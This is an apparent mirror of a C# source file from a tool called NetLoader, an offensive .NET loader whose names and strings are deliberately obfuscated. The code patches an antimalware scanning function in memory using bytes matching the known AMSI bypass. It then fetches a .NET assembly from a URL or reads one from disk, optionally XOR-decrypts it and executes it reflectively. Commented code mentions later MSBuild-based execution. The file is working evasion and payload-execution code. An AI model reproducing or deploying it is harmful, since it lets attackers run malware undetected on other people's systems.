mirror of
https://github.com/Flangvik/NetLoader
synced 2026-06-21 13:43:06 +00:00
253 lines
16 KiB
C#
253 lines
16 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Text;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
using System.Linq;
|
|
using System.Threading;
|
|
|
|
//This if for MSBuild LOL bin stuff later
|
|
//using Microsoft.Build.Framework;
|
|
//using Microsoft.Build.Utilities;
|
|
public class TugginglyAwabi{
|
|
private static object[] DomesticizeVilify = null;
|
|
[DllImport("kernel32")]
|
|
private static extern IntPtr LoadLibrary(string AmmoniuriaKetine);
|
|
[DllImport("kernel32")]
|
|
private static extern bool VirtualProtect(IntPtr AlphabetizesChifforobes, UIntPtr UnlottedHydrochelidon, uint ParseCrackpotism, out uint GambianInsultproof);
|
|
[DllImport("kernel32")]
|
|
private static extern IntPtr GetProcAddress(IntPtr ResituatedMayhems, string AldolizedShochets);
|
|
private static IntPtr OverpotentnessThwacker(IntPtr NubeculaeConcretional)
|
|
{
|
|
uint UnraisedPinakotheke = 0;
|
|
if (VirtualProtect(NubeculaeConcretional, (UIntPtr)ReleasementApyrotype().Length, 0x40, out UnraisedPinakotheke))
|
|
{
|
|
return NubeculaeConcretional;
|
|
}
|
|
else
|
|
{
|
|
return (IntPtr)0;
|
|
}
|
|
}
|
|
private static object MismanagedRegistral(MethodInfo DiscophileMidmost)
|
|
{
|
|
if (AkinSupramortal(DiscophileMidmost) == DiscophileMidmost.ReflectedType)
|
|
return DiscophileMidmost.Invoke(null, DomesticizeVilify);
|
|
return DomesticizeVilify[0];
|
|
}
|
|
private static void HaemsCrepeiest()
|
|
{
|
|
IntPtr NubeculaeConcretional = OverpotentnessThwacker(SandpeepsInterventralia());
|
|
if (NubeculaeConcretional != (IntPtr)0)
|
|
{
|
|
Marshal.Copy(ReleasementApyrotype(), 0, NubeculaeConcretional, ReleasementApyrotype().Length);
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FE07TDoWBg0GFjQTBwIJAG8WBxgKCwAKQyQKJjtP"), "OfflicenceGurney")));
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GE4uRTcMEQ0cOh4ITjUiPQpPNSQuISAq"), "CosegmentSponton")));
|
|
}
|
|
}
|
|
private static Type AkinSupramortal(MethodInfo DiscophileMidmost)
|
|
{
|
|
return DiscophileMidmost.ReflectedType;
|
|
}
|
|
private static string PhillTilter(string MayacaStarvelings, bool DefigureDeathbed)
|
|
{
|
|
if (DefigureDeathbed)
|
|
MayacaStarvelings = Encoding.UTF8.GetString(Convert.FromBase64String(MayacaStarvelings));
|
|
if (MayacaStarvelings.Trim().ToLower().Equals(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("LQ=="), "UnderassessmentChymify"))))
|
|
Environment.Exit(0);
|
|
return MayacaStarvelings;
|
|
}
|
|
private static byte[] DamndestsKrapina(byte[] MayacaStarvelings, string TinererSemibolshevized)
|
|
{
|
|
//byte[] keyBytes = Encoding.UTF8.GetBytes(TinererSemibolshevized);
|
|
byte[] ShortcomerCalculationBytes = new byte[MayacaStarvelings.Length];
|
|
for (int i = 0; i < MayacaStarvelings.Length; i++)
|
|
{
|
|
ShortcomerCalculationBytes[i] = (byte)(MayacaStarvelings[i] ^ Encoding.UTF8.GetBytes(TinererSemibolshevized)[i % Encoding.UTF8.GetBytes(TinererSemibolshevized).Length]);
|
|
}
|
|
return ShortcomerCalculationBytes;
|
|
}
|
|
private static byte[] ReleasementApyrotype()
|
|
{
|
|
if (System.Environment.Is64BitOperatingSystem)
|
|
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
|
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
|
|
}
|
|
private static MethodInfo CanajongBathymeter(Assembly asm)
|
|
{
|
|
return asm.EntryPoint;
|
|
}
|
|
public static void Main(string[] args)
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CEk4UBYjHgU8AhAMB3NERQ4pFxwLYh1GRiI2HCkfCQEXFg=="), "ShepherdRefel")));
|
|
int HyperidealisticallyWalkovers = (Convert.ToInt32(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("ckpX"), "ArchprincePrechoroid"))) * Convert.ToInt32(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("cQ=="), "IncumbrancesManifestatively"))));
|
|
string SeverestEst = "";
|
|
string[] CosmopoliteMoran = new string[] { };
|
|
bool OofyProhydrotropic = false;
|
|
bool ArgusianusAssociating = false;
|
|
string PreexpeditionMucronated = "";
|
|
if (args.Length > 0)
|
|
{
|
|
foreach (string argument in args)
|
|
{
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("a18DQls="), "FratorityIsthmic")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("eg1CQA=="), "WottethPhytane")))
|
|
{
|
|
OofyProhydrotropic = true;
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GUQySzIEA1ASIggGHgwMHR9JEh8nTy0KAA1ZRFM1ARAcDQcNQEkXCCEACwIdD08EGzUCUxwHQh0EDFMLLhY="), "BookshopsPossibilism")));
|
|
}
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("bhcBGA=="), "ConjuredToxicopathy")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("YEIWBh4="), "MonilialesAiluromania")))
|
|
{
|
|
ArgusianusAssociating = true;
|
|
int GesanGlucose = Array.IndexOf(args, argument) + 1;
|
|
if (GesanGlucose < args.Length)
|
|
{
|
|
string FendConnected = args[GesanGlucose];
|
|
if (OofyProhydrotropic)
|
|
PreexpeditionMucronated = Encoding.UTF8.GetString(Convert.FromBase64String(FendConnected));
|
|
else
|
|
PreexpeditionMucronated = FendConnected;
|
|
}
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EkU5RScJChwYEhgMAAJTKxo8UgoMARcdORoBAUMOAAAAEBVFGxYaHTJOGQobQkIfeRND"), "IndeclinablenessUnrobbed")), PreexpeditionMucronated);
|
|
}
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("bh8PBxw="), "ConstruableUnmineralized")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("eFkcABMJ"), "UtlagaryAreolate")))
|
|
{
|
|
int GesanGlucose = Array.IndexOf(args, argument) + 1;
|
|
if (GesanGlucose < args.Length)
|
|
{
|
|
string CompromisedLineary = args[GesanGlucose];
|
|
if (OofyProhydrotropic)
|
|
SeverestEst = Encoding.UTF8.GetString(Convert.FromBase64String(CompromisedLineary));
|
|
else
|
|
SeverestEst = CompromisedLineary;
|
|
}
|
|
}
|
|
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("aA8GDwE="), "EnthrallerNonrecuperativeness")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("f0gRFxUe"), "RepermissionInterestingly")))
|
|
{
|
|
int MecopteraNonsingularity = Array.IndexOf(args, argument) + 1;
|
|
int SecundumNovelistically = args.Length - MecopteraNonsingularity;
|
|
CosmopoliteMoran = new String[SecundumNovelistically];
|
|
for (int i = 0; i < SecundumNovelistically; i++)
|
|
{
|
|
string CompromisedLinearyArgs = args[MecopteraNonsingularity + i];
|
|
if (OofyProhydrotropic)
|
|
CosmopoliteMoran[i] = Encoding.UTF8.GetString(Convert.FromBase64String(CompromisedLinearyArgs));
|
|
else
|
|
CosmopoliteMoran[i] = CompromisedLinearyArgs;
|
|
}
|
|
}
|
|
}
|
|
if (string.IsNullOrEmpty(SeverestEst))
|
|
{
|
|
PiercingVessel();
|
|
Environment.Exit(0);
|
|
}
|
|
DaduPailou(SeverestEst, CosmopoliteMoran, ArgusianusAssociating, PreexpeditionMucronated, HyperidealisticallyWalkovers);
|
|
Environment.Exit(0);
|
|
}
|
|
while (true)
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("ElEzRTsYEQERYTpSCAZBDAcaaQgHAB4SQQAKYQcKCBxA"), "InnervateAbrahamic")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CEotRTsbSRMZCEkHCyYaBlQLAgYJV0ZzEB4GHQwMFlVbSRdKOE9fSkk="), "SuperhirudineVorticular")));
|
|
OofyProhydrotropic = BayaderePatroiophobia(Console.ReadKey(false).Key);
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("C00yUyYeGRYVTBwYNwRBHRtHGh4IcF9RUw=="), "ProsopicallyClarigold")));
|
|
SeverestEst = PhillTilter(Console.ReadLine(), OofyProhydrotropic);
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("DlE7RSgAQRYEAE4VEgovBwgJRRYEIQ9GPS4hQQcCBhwcAwcmDElSRQtKO05LW0E="), "UnfeasablenessChimere")));
|
|
ArgusianusAssociating = BayaderePatroiophobia(Console.ReadKey(false).Key);
|
|
if (ArgusianusAssociating)
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GlEpSTsLAAAWTB0LBE4bICdSCgIcYUNKSQ=="), "AntirepublicanCourage")));
|
|
PreexpeditionMucronated = PhillTilter(Console.ReadLine(), OofyProhydrotropic);
|
|
}
|
|
Console.WriteLine("[?] Input payload args (optional) -> ");
|
|
CosmopoliteMoran = PhillTilter(Console.ReadLine(), OofyProhydrotropic).Split(' ');
|
|
if (SeverestEst.Length > 0)
|
|
{
|
|
DaduPailou(SeverestEst, CosmopoliteMoran, ArgusianusAssociating, PreexpeditionMucronated, HyperidealisticallyWalkovers);
|
|
}
|
|
}
|
|
}
|
|
private static byte[] SuperheroesFormulisation(string TapisesReimpact, FileMode VellinchChechakos)
|
|
{
|
|
byte[] ShortcomerCalculation = null;
|
|
using (FileStream fs = new FileStream(TapisesReimpact, VellinchChechakos, FileAccess.Read))
|
|
{
|
|
ShortcomerCalculation = new byte[fs.Length];
|
|
fs.Read(ShortcomerCalculation, 0, (int)fs.Length);
|
|
}
|
|
return ShortcomerCalculation;
|
|
}
|
|
private static Assembly CoffeehousesLagoonside(byte[] RoseousLandslide)
|
|
{
|
|
return Assembly.Load(RoseousLandslide);
|
|
}
|
|
private static byte[] UnequivalveScalares(string url)
|
|
{
|
|
byte[] BimetallicMottramite = null;
|
|
using (WebClient SnowploughApparition = new WebClient())
|
|
{
|
|
SnowploughApparition.Credentials = CredentialCache.DefaultCredentials;
|
|
BimetallicMottramite = SnowploughApparition.DownloadData(new Uri(url));
|
|
}
|
|
return BimetallicMottramite;
|
|
}
|
|
public static int QuinolylPaleophytological(int JowelApplies)
|
|
{
|
|
var LinotyperNavet = ServicePointManager.SecurityProtocol;
|
|
LinotyperNavet = (SecurityProtocolType)JowelApplies;
|
|
return JowelApplies;
|
|
}
|
|
private static void NeritoidPhalangiidae(byte[] MicropathologicalAktistete)
|
|
{
|
|
HaemsCrepeiest();
|
|
MismanagedRegistral(CanajongBathymeter(CoffeehousesLagoonside(MicropathologicalAktistete)));
|
|
}
|
|
private static IntPtr SandpeepsInterventralia()
|
|
{
|
|
return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("JhQdCEsHAwA="), "GynaecolRediscountable"))), Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FgIcDSQCEwsOGg8IBh4="), "WoodwareLoincloth")));
|
|
}
|
|
private static void TwankleUnsynchronised(byte[] MicropathologicalAktistete, string PreexpeditionMucronated)
|
|
{
|
|
HaemsCrepeiest();
|
|
MismanagedRegistral(CanajongBathymeter(CoffeehousesLagoonside(DamndestsKrapina(MicropathologicalAktistete, PreexpeditionMucronated))));
|
|
}
|
|
private static void DaduPailou(string NeedmentPectoriloquy, string[] PhenoplasticConduced, bool ArgusianusAssociatingoded = false, string PreexpeditionMucronated = "", int PalpatingParenthesizes = 0)
|
|
{
|
|
QuinolylPaleophytological(PalpatingParenthesizes);
|
|
if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced)))
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EE44Tjs3P1w1MhktTFtO"), "KeennessesMelancholia")) + NeedmentPectoriloquy + Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FBwXGQwQHR0RTF9O"), "UnplausiblenessWilli")) + string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced));
|
|
else
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EE44Tjs3P1w1MhktTFtO"), "KeennessesMelancholia")) + NeedmentPectoriloquy + Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FBwXGQwQHR0RTF9O"), "UnplausiblenessWilli")) + string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced));
|
|
}
|
|
DomesticizeVilify = new object[] { PhenoplasticConduced };
|
|
if (ArgusianusAssociatingoded && NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely"))))
|
|
{
|
|
TwankleUnsynchronised(UnequivalveScalares(NeedmentPectoriloquy), PreexpeditionMucronated);
|
|
}
|
|
else if (!ArgusianusAssociatingoded && NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely"))))
|
|
{
|
|
NeritoidPhalangiidae(UnequivalveScalares(NeedmentPectoriloquy));
|
|
}
|
|
else if (!ArgusianusAssociatingoded && !NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely"))))
|
|
NeritoidPhalangiidae(SuperheroesFormulisation(NeedmentPectoriloquy, FileMode.Open));
|
|
else
|
|
TwankleUnsynchronised(SuperheroesFormulisation(NeedmentPectoriloquy, FileMode.Open), PreexpeditionMucronated);
|
|
}
|
|
private static void PiercingVessel()
|
|
{
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("HxwXHjZRSQ=="), "JovySkiagram")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("HRYAAxZRSTV9A1hdM0U6QzAKE0RPAAwXbjxORB4EFQZoWQMNHQobFw8RDx0GW0E1ZQQTAwBLVQw5Dw8bFzoAHC8WXzk="), "HeadskinPaninean")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CBFfEFNRVGwqABsaHwEABRVMCRkSM0UCExcEAykRFR1TGQEKDRoNGxwdM0UGGgQRTi0JHE8cBAcLFlkcDgcSOQAGFxcWTi0XFU8RERwLUk1MChsQOwEXFks="), "TerreenLepospondylous")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("DBteDBwCUkUhHx0NPwEeDQlTGQQiDh4RBxUaRQcBDQ0zDgQFCxRJETgOB1QRGQYEHBZJAjkDFR9FEhsAcDc8JlMVBgYcFhkQNQteTCgGGhFwDRZUFR8ECQEYDABwDQlMERsMRQggIVQXFQsXFx8dDT8BUAcACkc="), "PostsphenoidPoplesie")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Dw1DERkRG3RFOhIcCw4ZPAsXQQgEAS8IEgcXHUFNGhcKCBsEBysWVwcaCk8dMg0GTVgAGjoNEgFSAwAOMhVODgpFEm4wJT9eTwALcw0GBFgHGiAEBQpSGwBNPxYPBVY="), "SynaxesNewsroom")));
|
|
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CRpEDxYSEF9ECxkVCgMPHRUFQyUPGw8JEBcAFmQcEgYIQQcbSRM0HRpOBQcEEAkhBxUQTBUcVB0LME4FAQURBgFEJgAPAh4YXVQkFiYaSQwBVQUKCCgGFgYIQRENSQI5AkkPFhIWCAEqHRJDCg4BVB0LME4LBwoUERxK"), "UninducedDiaclastic")));
|
|
}
|
|
private static bool BayaderePatroiophobia(ConsoleKey RethresherFairishly)
|
|
{
|
|
if (RethresherFairishly == ConsoleKey.X)
|
|
Environment.Exit(0);
|
|
return (RethresherFairishly == ConsoleKey.Y);
|
|
}
|
|
/*
|
|
//This is for MSBuild later
|
|
public class ClassExample : Task, ITask
|
|
{
|
|
public override bool Execute()
|
|
{
|
|
TugginglyAwabi.Main(new string[] { });
|
|
return true;
|
|
}
|
|
}
|
|
*/
|
|
} |